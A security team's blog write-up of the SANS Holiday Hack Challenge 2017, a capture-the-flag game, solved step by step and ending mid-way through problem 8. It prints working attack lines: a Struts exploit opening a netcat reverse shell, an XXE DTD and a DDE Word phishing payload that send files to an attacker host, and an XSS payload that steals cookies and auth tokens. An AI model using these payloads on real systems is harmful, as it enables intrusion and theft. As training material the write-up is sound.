Skip navigation

Duo Security is now a part of Cisco

About Cisco

SANS Holiday Hack 2017 Writeup

Every year during the holiday season, SANS publishes their annual Holiday Hack Challenge. These challenges are a great way to learn new and useful exploitation techniques to solve fun puzzles.

The Duo Labs team always enjoys participating in the Holiday Hack Challenges, and have written about our solutions in the past. The challenges have been very polished, and this year is no exception.

As always, we first want to extend our thanks to Ed Skoudis and the SANS team for always putting together a thorough, fun challenge that never fails to teach something new.

The goal of this year’s Holiday Hack Challenge was to find out who has been throwing giant snowballs at the North Pole. This involves solving 8 various technical challenges, each containing both a main storyline challenge as well as a mini-challenge in the form of a “Cranberry Pi” terminal. As part of the solution, we are asked to collect 7 pages from The Great Book, which give information about who our villain might be.

It’s important to note that there is also a video game component to this years challenge, but to keep this write up short, we’ll only mention those solutions when they are relevant to the challenge solutions.


Table of Contents

  1. Problem 1 - The First Great Book Page
    1. Terminal - Winter Wonder Landing
  2. Problem 2 - Letters to Santa Application
    1. SSH Tunneling
    2. Terminal - Winconceivable: The Cliffs of Winsanity
  3. Problem 3 - The SMB Server
    1. Terminal: Cryokinetic Magic
  4. Problem 4 - Elf Webmail Server
    1. Terminal: There’s Snow Place Like Home
  5. Problem 5 - Santa’s Naughty or Nice List
    1. Terminal: Bumble to Stray
  6. Problem 6 - Elf-as-a-Service
    1. Terminal: I Don’t Think We’re In Kansas Anymore
  7. Problem 7 - SCADA System (EMI)
    1. Terminal: Oh Wait! Maybe We Are
  8. Problem 8 - Elf Database
    1. Terminal: We’re Off To See The...
  9. Problem 9 - Villain Reveal

Problem 1 - The First Great Book Page

Opening the Holiday Hack Challenge interface, we’re presented with a game map showing various levels we need to solve: Game Map

Terminal - Winter Wonder Landing

The terminal in the Winter Wonder Landing level presents the following prompt:

My name is Bushy Evergreen, and I have a problem for you.
I think a server got owned, and I can only offer a clue.
We use the system for chat, to keep toy production running.
Can you help us recover from the server connection shunning?
Find and run the elftalkd binary to complete this challenge.
elf@24e7eaaef2cc:~$

Standard searching tools like find and locate aren’t available, so we can use a mixture of ls and grep:

$ ls -alR | grep -B 5 elftalkd
./run/elftalk/bin:
total 7224
drwxr-xr-x 1 root root    4096 Dec  4 14:32 .
drwxr-xr-x 1 root root    4096 Dec  4 14:32 ..
-rwxr-xr-x 1 root root 7385168 Dec  4 14:29 elftalkd

Running the binary gives this output:

$ ./elftalkd
        Running in interactive mode
        --== Initializing elftalkd ==--
Initializing Messaging System!
Nice-O-Meter configured to 0.90 sensitivity.
Acquiring messages from local networks...
--== Initialization Complete ==--
      _  __ _        _ _       _
     | |/ _| |      | | |     | |
  ___| | |_| |_ __ _| | | ____| |
 / _ \ |  _| __/ _` | | |/ / _` |
|  __/ | | | || (_| | |   < (_| |
 \___|_|_|  \__\__,_|_|_|\_\__,_|
-*> elftalkd! <*-
Version 9000.1 (Build 31337)
By Santa Claus & The Elf Team
Copyright (C) 2017 NotActuallyCopyrighted. No actual rights reserved.
Using libc6 version 2.23-0ubuntu9
LANG=en_US.UTF-8
Timezone=UTC
Commencing Elf Talk Daemon (pid=6021)... done!
Background daemon...

And it tells us we completed the challenge. Here’s the question given in the storyline:

1) Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?

This was one of the few instances where The Great Book page is obtained by solving the video game challenge. After solving the level, we’re presented with our first Great Book page:

Title: “About This Book”
Hash: 6dda7650725302f59ea42047206bd4ee5f928d19

Problem 2 - Letters to Santa Application

Here’s the next question we’re asked to solve:

2) Investigate the Letters to Santa application at https://l2s.northpolechristmastown.com. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball's password?

Navigating to l2s.northpolechristmastown.com, we see a web application designed to let anyone send a letter to Santa: Santa Web App

Viewing the source of the page, we see this:

    <!-- Development version -->
    <a href="http://dev.northpolechristmastown.com" style="display: none;">Access Development Version</a>

Doing a quick check, we can see that dev.northpolechristmastown.com is located at the same IP address as l2s.northpolechristmastown.com:

$ nslookup dev.northpolechristmastown.com
Non-authoritative answer:
Name:   dev.northpolechristmastown.com
Address: 35.185.84.51
$ nslookup l2s.northpolechristmastown.com
Non-authoritative answer:
Name:   l2s.northpolechristmastown.com
Address: 35.185.84.51

This means that if we compromise the development instance, we will likely compromise the production application. Visiting the development URL, we see what appears to be a Toy Request Form.

At the bottom of the HTML source, we can see a message indicating the server is using Apache Struts:

    <div id="the-footer"><p class="center-it">Powered By: <a href="https://struts.apache.org/">Apache Struts</a></p></div>
    <!-- Friend over at Equal-facts Inc recommended this framework-->

It’s likely that we can leverage one of the recent high-profile vulnerabilities in Apache Struts to gain access to the server. This blog post from SANS points to revised code that exploits CVE-2017-9805 against Apache Struts. We can use this code to open an interactive reverse shell to a server we control using Netcat.

First, we’ll create a Netcat listener on our server:

$ nc -l -v -p 1234

Then, we can run the exploit against the developer instance, establishing the reverse shell:

python cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c "nc -e /bin/sh x.x.x.x 1234"

Back on our listener, we are given a shell that can be used to explore the system:

whoami
alabaster_snowball
ls var/www/html
css
fonts
GreatBookPage2.pdf
imgs
index.html
js
process.php
tom.html

Requesting https://l2s.northpolechristmastown.com/GreatBookPage2.pdf gives us the second page of The Great Book, which covers the topic of flying animals.

Title: “On the Topic of Flying Animals”
Hash: aa814d1c25455480942cb4106e6cde84be86fb30

Our next task is to find the password for alabaster_snowball. Digging through the system, we find the password stream_unhappy_buy_loss in one of the web application source files:

cat /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class
    public class Connect {
            final String host = "localhost";
            final String username = "alabaster_snowball";
            final String password = "stream_unhappy_buy_loss";
            String connectionURL = "jdbc:mysql://" + host + ":3306/db?user=;password=";

SSH Tunneling

Now that we have exploited the Letters to Santa server and retrieved Alabaster Snowball’s password, we can try to use the password to SSH to the server directly. This offers multiple benefits over our reverse shell, including the ability to easily tunnel connections to internal services.

Attempting to SSH to the server using the credentials alabaster_snowball:stream_unhappy_buy_loss works and puts us in a restricted shell:

holidayhack@holidayhack:~$ ssh alabaster_snowball@dev.northpolechristmastown.com
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.DizJJkLYXfIMeNPc1TIkEIed$

With this confirmed to be working, we can use SSH local tunneling to hit internal services through the Letters to Santa server. For example, to forward connections to TCP port 8888 on our client to TCP port 80 on internal_service.northpolechristmastown, we can establish an SSH session like this:

$ ssh -L 8888:internal_service.northpolechristmastown.com:80 -N alabaster_snowball@dev.northpolechristmastown.com

This creates a network flow like this: Network Flow

We will use this frequently in the remainder of the writeup to hit internal services.

Terminal - Winconceivable: The Cliffs of Winsanity

Opening the Cranberry Pi in the “Winconceivable: The Cliffs of Winsanity” level gives a prompt telling us we need to find a way to kill the santaslittlehelperd process:

My name is Sparkle Redberry, and I need your help.
My server is atwist, and I fear I may yelp.
Help me kill the troublesome process gone awry.
I will return the favor with a gift before nigh.
Kill the "santaslittlehelperd" process to complete this challenge.

We can use ps and grep to verify the process is running:

elf@07b771d93d82:~$ ps aux | grep santaslittlehelperd
elf          8  0.0  0.0   4224   724 pts/0    S    03:22   0:00 /usr/bin/santaslittlehelperd

But when we try to kill the process it doesn’t seem to work:

elf@07b771d93d82:~$ kill -9 8
elf@07b771d93d82:~$ ps aux | grep santaslittlehelperd
elf          8  0.0  0.0   4224   724 pts/0    S    03:22   0:00 /usr/bin/santaslittlehelperd

Looking through our aliases indicates that the various commands used to send signals to processes (such as kill, killall, etc.) have been aliased to true:

$ alias
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias kill='true'
alias killall='true'
alias l='ls -CF'
alias la='ls -A'
alias ll='ls -alF'
alias ls='ls --color=auto'
alias pkill='true'
alias skill='true'

To beat the challenge, we can just unalias the command and kill the process:

elf@f8ec669d6f52:~$ ps aux | grep santaslittlehelperd
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
elf          8  0.0  0.0   4224   640 pts/0    S    16:50   0:00 /usr/bin/santaslittlehelperd
elf@f8ec669d6f52:~$ unalias kill
elf@f8ec669d6f52:~$ kill -9 8
elf@f8ec669d6f52:~$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
elf          1  0.1  0.0  18028  2864 pts/0    Ss   16:50   0:00 /bin/bash /sbin/init
elf         12  0.0  0.0  18248  3324 pts/0    S    16:50   0:00 /bin/bash
elf         59  0.0  0.0  34424  2864 pts/0    R+   16:51   0:00 ps aux

Problem 3 - The SMB Server

Here’s the next question we’re asked to solve:

The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?

From our ssh tunnel, we do a nmap scan on the internal network and find that 10.142.0.7 and 10.142.0.8 have SMB services open:

$ nmap -v -Pn -p 139,445 10.142.0.0/24
Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-04 17:15 UTC
Initiating Parallel DNS resolution of 256 hosts. at 17:15
Completed Parallel DNS resolution of 256 hosts. at 17:15, 0.04s elapsed
Initiating Connect Scan at 17:15
Scanning 256 hosts [2 ports/host]
Discovered open port 139/tcp on 10.142.0.7
Discovered open port 139/tcp on 10.142.0.8
Discovered open port 445/tcp on 10.142.0.8
Discovered open port 445/tcp on 10.142.0.7
Completed Connect Scan at 17:15, 2.40s elapsed (512 total ports)
<snip>
Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
Host is up (0.0011s latency).
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

We can scan these hosts more aggressively (by using nmap’s -A flag) to enumerate them and discover that 10.142.0.7 resolves to hhc17-smb-server.c.holidayhack2017.internal while 10.142.0.8 resolves to hhc17-emi-server.c.holidayhack2017.internal.

Having identified the SMB service on 10.142.0.7 (the other host is the Elf-Machine Interface server used for problem 7), we can use the smbclient utility to access the service and list out the available shares. First, we set up a tunnel to the SMB server:

$ ssh -L 4445:10.142.0.7:445 -N alabaster_snowball@dev.northpolechristmastown.com

Next, we can enumerate through the possible shares by using Alabaster’s password to login:

$ smbclient --user=alabaster_snowball -p 4445 -L localhost
Enter alabaster_snowball's password:
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]
    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    FileStor        Disk
    IPC$            IPC       Remote IPC
Connection to localhost failed (Error NT_STATUS_CONNECTION_REFUSED)
NetBIOS over TCP disabled -- no workgroup available

We see that there’s a sharename available for “FileStor” on the SMB Server. We can connect to that store and retrieve all the files like this:

$ smbclient \\\\localhost\\FileStor -U alabaster_snowball -p 4445
Enter alabaster_snowball's password:
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]
smb: \> ls
  .                                   D        0  Wed Jan  3 04:30:56 2018
  ..                                  D        0  Wed Jan  3 04:30:56 2018
  BOLO - Munchkin Mole Report.docx      A   255520  Wed Dec  6 21:44:17 2017
  GreatBookPage3.pdf                  A  1275756  Mon Dec  4 19:21:44 2017
  MEMO - Password Policy Reminder.docx      A   133295  Wed Dec  6 21:47:28 2017
  Naughty and Nice List.csv           A    10245  Thu Nov 30 19:42:00 2017
  Naughty and Nice List.docx          A    60344  Wed Dec  6 21:51:25 2017
        13106687 blocks of size 4096. 9618575 blocks available
smb: \> mget *

This gives us 4 files we can use for further investigation, as well as page 3 of The Great Book.

Title: “The Great Schism”
Hash: 57737da397cbfda84e88b573cd96d45fcf34a5da

Terminal: Cryokinetic Magic

Visiting the Cryokinetic Magic level gives this prompt:

My name is Holly Evergreen, and I have a conundrum.
I broke the candy cane striper, and I'm near throwing a tantrum.
Assembly lines have stopped since the elves can't get their candy cane fix.
We hope you can start the striper once again, with your vast bag of tricks.
Run the CandyCaneStriper executable to complete this challenge.

Looking at the output of ls, we see that the file isn’t executable:

ls -alh CandyCaneStriper
-rw-r--r-- 1 root root 45K Dec 15 13:28 CandyCaneStriper

There are two ways we can solve this challenge. First, since we have read permissions, we can make a copy of the file and then give executable permissions to our copy:

elf@87cf1577db7d:~$ cp CandyCaneStriper candy
elf@87cf1577db7d:~$ ls -alh
total 116K
drwxr-xr-x 1 elf  elf  4.0K Dec 15 17:29 .
drwxr-xr-x 1 root root 4.0K Dec  5 19:31 ..
-rw-r--r-- 1 elf  elf   220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 root root 3.1K Dec 15 13:28 .bashrc
-rw-r--r-- 1 elf  elf   655 May 16  2017 .profile
-rw-r--r-- 1 root root  45K Dec 15 13:28 CandyCaneStriper
-rw-r--r-- 1 elf  elf   45K Dec 15 17:29 candy

However, after making our copy we find that we can’t use chmod, since it’s been nulled out:

elf@87cf1577db7d:~$ ls -alh /bin/chmod
-rwxr-xr-x 1 root root 0 Dec 15 13:40 /bin/chmod

There are tips on how to handle this here, with one being to use Perl to change the system permissions:

elf@87cf1577db7d:~$ perl -e 'chmod 0755, "candy"'
elf@87cf1577db7d:~$ ls -alh candy
-rwxr-xr-x 1 elf  elf   45K Dec 15 17:29 candy

Now we can execute the binary, solving the challenge:

elf@87cf1577db7d:~$ ./candy
The candy cane striping machine is up and running!

The second way we can solve this challenge is by calling the /lib64/ld-linux-x86-64.so.2 shared library loader directly:

elf@44683555699a:~$ /lib64/ld-linux-x86-64.so.2 ./CandyCaneStriper
The candy cane striping machine is up and running!

Problem 4 - Elf Webmail Server

The next question asks us to retrieve a Great Book page from the Elf Web Access (EWA) server:

4) Elf Web Access (EWA) is the preferred mailer for North Pole elves, available internally at http://mail.northpolechristmastown.com. What can you learn from The Great Book page found in an e-mail on that server?

A quick nmap scan of mail.northpolechristmastown.com through our SSH tunnel shows a couple of services available, but we’ll focus on the web application available on TCP port 80:

80/tcp   open  http    nginx 1.10.3 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/cookie.txt

In the process of enumerating services on the host, nmap found a robots.txt file that disallows requests to /cookie.txt. We can verify this manually by requesting mail.northpolechristmastown.com/robots.txt:

$ curl mail.northpolechristmastown.com/robots.txt
User-agent: *
Disallow: /cookie.txt

Requesting /cookie.txt reveals what appears to be source code for generating and verifying authentication cookies that was “accidentally” left on the server. You can find the full source here, but the snippet we’re interested in is responsible for decrypting and verifying the cookie contents:

var plaintext = aes256.decrypt(key, ciphertext);
//If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key
if (plaintext === thecookie.plaintext) {
    return callback(true, username);
} else {
    return callback(false, '');
}

This code takes the provided JSON contents in the cookie and attempts to decrypt the ciphertext attribute using AES256 and an unknown key. If the decrypted contents match the plaintext provided in the cookie, it assumes the plaintext was generated by the server and can be trusted.

A hint given in this challenge suggests that, since we control the entire ciphertext, perhaps there could be odd behavior if we only send a 16 byte IV and don’t send any actual data.

Since it appears the encryption/decryption operates on base64 encoded data, it’s likely the AES256 library being used is something similar to this.

Let’s start by generating 16 bytes of random data as our IV and base64 encoding it to get our ciphertext:

$ echo -n "AAAAAAAAAAAAAAAA" | base64
QUFBQUFBQUFBQUFBQUFBQQ==

Then, we can try to decrypt this ciphertext using the aes256 package:

> var aes256 = require('aes256');
> aes256.decrypt('random key', 'QUFBQUFBQUFBQUFBQUFBQQ==')
''

We can see that by only sending 16 bytes, there isn’t any data to decrypt, causing the library to return an empty string. This means that by sending 16 bytes as our ciphertext, and an empty plaintext, the check will pass and we can log in as any user we want.

For example, to log in as alabaster.snowball@northpolechristmastown, we can use this cookie:

{"name":"alabaster.snowball@northpolechristmastown.com","plaintext":"","ciphertext":"QUFBQUFBQUFBQUFBQUFBQQ=="}

This logs us in to the webmail service: Elf Webmail Service

The emails in Alabaster’s inbox show that there are multiple users on the system. It would be useful to pull all the emails for every user and list those in an easy-to-read format. Looking through the Javascript on the page, we can see that sending and receiving emails is done via a JSON API at the /api.js endpoint. The file custom.js lists two of the possible API actions:

$.post( "api.js", { getmail: 'getmail'})
$.post( "api.js", { from_email: theuser, to_email: to, subject_email: subject, message_email: message})

The getmail action likely gets the emails for the currently logged on user. We can write a script that logs in as every user and retrieves all their emails, logging who the email is to, who the email is from, the subject, and the message.

The generated CSV contains an email from the elf Holly Evergreen containing a link to page 4 from The Great Book.

Title: The Rise of the Lollipop Guild
Hash: f192a884f68af24ae55d9d9ad4adf8d3a3995258

The question asks us what we learn from The Great Book page. In summary, we learn that there are rumors that a group of munchkins from Oz have infiltrated the North Pole in an attempt to disrupt Christmas operations.

Terminal: There’s Snow Place Like Home

The “There's Snow Place Like Home” level terminal gives the following prompt:

My name is Pepper Minstix, and I need your help with my plight.
I've crashed the Christmas toy train, for which I am quite contrite.
I should not have interfered, hacking it was foolish in hindsight.
If you can get it running again, I will reward you with a gift of delight.
total 444
-rwxr-xr-x 1 root root 454636 Dec  7 18:43 trainstartup

Using file, we see that the binary is compiled for ARM architectures, while we’re in an x86 architecture:

elf@887d4f25493d:~$ uname -a
Linux 887d4f25493d 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux
elf@887d4f25493d:~$ file trainstartup
trainstartup: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=005de4685e8563d10b
3de3e0be7d6fdd7ed732eb, not stripped

We can run the binary with qemu-arm, solving the challenge:

$ qemu-arm ./trainstartup
    Merry Christmas
    Merry Christmas
You did it! Thank you!

Problem 5 - Santa’s Naughty or Nice List

Here’s the next question in the storyline:

5) How many infractions are required to be marked as naughty on Santa's Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?

To find the number of infractions required, we used Santa’s Naughty and Nice list previously found on the SMB server, along with the list of infractions logged by the North Pole Police department on their website.

We can search the NPPD infraction database using a wildcard query such as status:* to retrieve all infractions with the option to download the infractions as a JSON file.

Now that we have the Naughty/Nice list as well as the full list of individual infractions, we can compare the two using a quick script to find the number of infractions required to be on the naughty list.

0 infractions - Nice: 14   Naughty: 0
1 infractions - Nice: 318  Naughty: 0
2 infractions - Nice: 95   Naughty: 0
3 infractions - Nice: 33   Naughty: 0
4 infractions - Nice: 0    Naughty: 26
5 infractions - Nice: 0    Naughty: 47
6 infractions - Nice: 0    Naughty: 6
7 infractions - Nice: 0    Naughty: 1
10 infractions - Nice: 0   Naughty: 1

Looks like after 4 infractions someone is put on the Naughty list.

To find the insider threat moles, we can use the list of infractions combined with the “Munchkin Mole Advisory” discovered on the SMB server: Munchkin Mole Advisory

The Munchkin Mole Report tells us about two moles: Boq Questrian and Bini Aru, who engaged in “throwing rocks” and “aggravated hair pulling” before disappearing.

When we look up the two moles on the NPPD’s site, we see that they each have 3 infractions, and Bini also has an infraction for giving atomic wedgies, aside from the hair pulling and rock-throwing mentioned in the mole advisory report. Assuming that wedgie-giving is also a munchkin activity, we filtered the list of infractions to find similar individuals.

We filtered under the criteria of characters that had committed one or more munchkin-related infractions above (wedgie-giving, hair-pulling, rock-throwing). After filtering, we have a list of 8 possible moles including the two mentioned in the mole report. We can then take this list and filter it down further to calculate their chance of being munchkin by getting the percentage of munchkin crimes relative to their total number of crimes. If we list out the possible moles with more than 50% chance of being a munchkin mole, we get:

Sheri Lewis | Munchkin Chance: 60.0% | Total Crimes: 5
Nina Fitzgerald | Munchkin Chance: 66.7% | Total Crimes: 6
Bini Aru | Munchkin Chance: 75.0% | Total Crimes: 4
Wesley Morton | Munchkin Chance: 100.0% | Total Crimes: 4
Boq Questrian | Munchkin Chance: 75.0% | Total Crimes: 4
Kirsty Evans | Munchkin Chance: 75.0% | Total Crimes: 4

So we can say with some certainty that these are the minimum six moles we were asked to find.

Terminal: Bumble to Stray

The terminal in this level gives the following prompt:

Minty Candycane here, I need your help straight away.
We're having an argument about browser popularity stray.
Use the supplied log file from our server in the North Pole.
Identifying the least-popular browser is your noteworthy goal.
total 28704
-rw-r--r-- 1 root root 24191488 Dec  4 17:11 access.log
-rwxr-xr-x 1 root root  5197336 Dec 11 17:31 runtoanswer

We can refer to this blog post for a helpful one-liner to parse out the least frequently seen user agents from the access logs:

awk -F\" '{print $6}' combined_log | sort | uniq -c | sort -fr

Looking at the bottom of the list, we see these values:

1 masscan/1.0
1 Dillo/3.0.5
1 curl/7.35.0

Only one of these, Dillo, is a browser so this is the answer to the challenge:

elf@64c67c7042d3:~$ ./runtoanswer
Starting up, please wait......
Enter the name of the least popular browser in the web log: Dillo
That is the least common browser in the web log! Congratulations!

Beating the video game portion of this level, we obtain page 5 of The Great Book as well as this conversation: Bumble Convo

Title: The Abominable Snow Monster
Hash: 05c0cacc8cfb96bb5531540e9b2b839a0604225f

Problem 6 - Elf-as-a-Service

Here’s the next storyline question:

6) The North Pole engineering team has introduced an Elf as a Service (EaaS) platform to optimize resource allocation for mission-critical Christmas engineering projects at http://eaas.northpolechristmastown.com. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?

Running an nmap scan on eaas.northpolechristmastown.com confirms that this is a web application running on IIS:

Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)
Host is up (0.00031s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Index - North Pole Engineering Presents: EaaS!
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Visiting eaas.northpolechristmastown.com returns a page that lets you view and manage Elf orders. You can find the full source code here. Elf Order

In the HTML of the index page, we can see a link pointing to /Home/DisplayXml which claims to let us view our current orders:

<div class="col-md-4 col-lg-4">
    <a href='/Home/DisplayXML'><img src="/Content/img/o2.png" alt=""></a>
    <h4>EC2: Elf Checking System 2.0</h4>
    <p>To see your current orders, <a href="/Home/DisplayXML">click here</a></p>
</div>

Requesting this page gives a table of valid orders with the ability to upload a new file via a form:

<div class="row">
    <img src="/Content/img/o4.png" alt="">
    <h4>Need to make a change?</h4>
    <p>Upload a new form using the builder below
        <form action="/Home/DisplayXml" enctype="multipart/form-data" method="post">
            <input type="file" name="file" />
            <input type="submit" value="Upload" />
       </form>
    </p>
</div>

Seeing the path /Home/DisplayXml indicates that this endpoint is likely expecting an XML file to be uploaded. Allowing untrusted XML to be uploaded and processed can be dangerous and lead to XXE attacks. With this in mind, we can refer to a blog post from SANS on how to exploit XXE attacks in IIS.

First, we’ll set up a Document Type Definition (DTD) file to be hosted on our external server. This DTD file uploads the content of C:\greatbook.txt to our remote server as a URL parameter. We’ll call this file payload.dtd.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://x.x.x.x:1237/?%stolendata;'>">

Then, we can upload the actual XML payload that references our DTD file to the web application:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE Elf [
    <!ELEMENT Elf ANY >
    <!ENTITY % extentity SYSTEM "http://x.x.x.x:1237/payload.dtd">
    %extentity;
    %inception;
    %sendit;
    ]
>

When the XML file is uploaded, it is executed and we see the result appear in our web server logs:

35.185.118.225 - - [22/Dec/2017 03:56:39] "GET /payload.dtd HTTP/1.1" 200 -
35.185.118.225 - - [22/Dec/2017 03:56:39] "GET /?http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf HTTP/1.1" 200 -

Requesting this URL returns page 6 of The Great Book.

Title: The Dreaded Inter-Dimensional Tornadoes
Hash: 8943e0524e1bf0ea8c7968e85b2444323cb237af

Terminal: I Don’t Think We’re In Kansas Anymore

Opening the terminal in the “I Don’t Think We’re In Kansas Anymore” level gives the following prompt:

Sugarplum Mary is in a tizzy, we hope you can assist.
Christmas songs abound, with many likes in our midst.
The database is populated, ready for you to address.
Identify the song whose popularity is the best.
total 20684
-rw-r--r-- 1 root root 15982592 Nov 29 19:28 christmassongs.db
-rwxr-xr-x 1 root root  5197352 Dec  7 15:10 runtoanswer

This appears to be a straightforward SQLite challenge. First, let’s open the database and determine the schema:

elf@22b7ca7055df:~$ sqlite3 christmassongs.db
sqlite> .tables
likes  songs
sqlite> .schema likes
CREATE TABLE likes(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  like INTEGER,
  datetime INTEGER,
  songid INTEGER,
  FOREIGN KEY(songid) REFERENCES songs(id)
);
sqlite> .schema songs
CREATE TABLE songs(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  title TEXT,
  artist TEXT,
  year TEXT,
  notes TEXT
);

Next, we can create a SQL query that finds the songs with the most likes. This was the query we used:

SELECT songs.title, count(likes.songid) as number_of_likes
from songs
left join likes
on (songs.id = likes.songid)
group by
    songs.id
order by number_of_likes;

Running the query against the database showed that “Stairway to Heaven” had the most likes:

The Little Boy that Santa Claus Forgot|2140
Joy to the World|2162
Stairway to Heaven|11325

Entering “Stairway to Heaven” as our answer solved the challenge:

elf@22b7ca7055df:~$ ./runtoanswer
Starting up, please wait......
Enter the name of the song with the most likes: Stairway to Heaven
That is the #1 Christmas song, congratulations!

Problem 7 - SCADA System (EMI)

After previously gaining access to the webmail system and downloading the various emails, we can set our sights on the EMI server:

7) Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI) to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe? We’re told that we need to gain access via a phishing attack. Looking through the emails in our CSV, we see this message from Alabaster Snowball:

"Do you have that awesome gingerbread cookie recipe you made for me last year? You sent it in a MS word .docx file. I would totally open that docx on my computer if you had that. I would click on anything with the words gingerbread cookie recipe in it. I'm totally addicted and want to make some more.

We can also see a message from the elf Minty Candycane to Alabaster Snowball indicating that the relatively new phishing technique leveraging DDE-enabled Word documents might be successful:

You know I'm a novice security enthusiast, well I saw an article a while ago about regarding DDE exploits that dont need macros for MS word to get command execution.

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Should we be worried about this?

I tried it on my local machine and was able to transfer a file. Here's a poc:”

Taking this as a hint, we can create a DDE-enabled Word document with the following payload to upload The Great Book page to a server we control:

{DDEAUTO C:\\Windows\System32\\cmd.exe “/k powershell.exe -W hidden $e=(New-Object System.Net.WebClient).UploadFile(‘http://x.x.x.x:8888/upload’, ‘C:\GreatBookPage7.pdf’;”}

Sending this document to alabaster.snowball@northpolechristmastown.com with the phrase “gingerbread cookie recipe” in the message results in the DDE payload being executed, and page 7 of The Great Book page being uploaded:

35.185.57.190 - - [29/Dec/2017 22:18:42] "POST /upload HTTP/1.1" 302 -
35.185.57.190 - - [29/Dec/2017 22:18:42] "GET /upload HTTP/1.1" 200 -

Title: “Regarding the Witches of Oz”
Hash: c1df4dbc96a58b48a9f235a1ca89352f865af8b8

Terminal: Oh Wait! Maybe We Are

Opening the terminal for the “Oh Wait! Maybe We Are” level, we see the following prompt:

My name is Shinny Upatree, and I've made a big mistake.
I fear it's worse than the time I served everyone bad hake.
I've deleted an important file, which suppressed my server access.
I can offer you a gift, if you can fix my ill-fated redress.
Restore /etc/shadow with the contents of /etc/shadow.bak, then run "inspect_da_box" to complete this challenge.
Hint: What commands can you run with sudo?

The hint is pretty clear - we need to see what commands we can run as sudo. We can do that with sudo -l:

elf@60f4256e332e:~$ sudo -l
Matching Defaults entries for elf on 60f4256e332e:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User elf may run the following commands on 60f4256e332e:
    (elf : shadow) NOPASSWD: /usr/bin/find

This tells us that the user elf is allowed to run the find command as the shadow group without needing to input a password. We can use the -exec flag to tell find to take the shadow.bak copy and copy it back to /etc/shadow.

elf@60f4256e332e:~$ sudo -g shadow find /etc/ -name shadow.bak -exec cp {} /etc/shadow \;

Finally, as instructed, we run inspect_da_box to complete the challenge.

elf@60f4256e332e:~$ inspect_da_box
/etc/shadow has been successfully restored!

Problem 8 - Elf Database

8) Fetch the letter to Santa from the North Pole Elf Database at http://edb.northpolechristmastown.com. Who wrote the letter?

Navigating to the index page of the elf database service, we are presented with a login page. There’s a message at the bottom with a link to contact support to reset the password: Elf Database

Clicking the link displays a form suggesting that a “customer service elf will review your request to reset your account”. Customer Service Login

The Javascript in custom.js shows how logins are being processed:

function login() {
    var uname = $('#username').val().trim();
    var passw = $('#password').val().trim();
    if (uname && passw) {
        $.post( "/login", { username: uname, password: passw }).done(function( result ) {
            if (result.bool) {
                Materialize.toast(result.message, 4000);
                localStorage.setItem('np-auth',result.token)
                setTimeout(function(){
                    window.location.href = result.link;
                }, 1000);
            } else {
                Materialize.toast(result.message, 4000);
            }
        }).fail(function(error) {
            Materialize.toast('Error: ' + error.status + " " + error.statusText, 4000);
        })
    } else {
        Materialize.toast('You must input a valid username and password!', 4000);
    }
}

The result of a successful login is stored in localStorage under the np-auth key. Watching the network requests when we open the login page, we see that session cookies are also being used. So, if we can steal a valid session cookie as well as the valid np-auth token from an authenticated user, we can log in as that user.

To do this, we can create and submit a malicious support ticket with the following message that will trigger an XSS vulnerability that sends the support elf’s session cookie and auth token to a server that we control:

<img src=x onerror="null;this.src='http://x.x.x.x:4444/test?cookie=' + document.cookie + '&npauth='+localStorage.getItem('np-auth')">

Shortly after submitting this ticket, this request appears in our access logs:

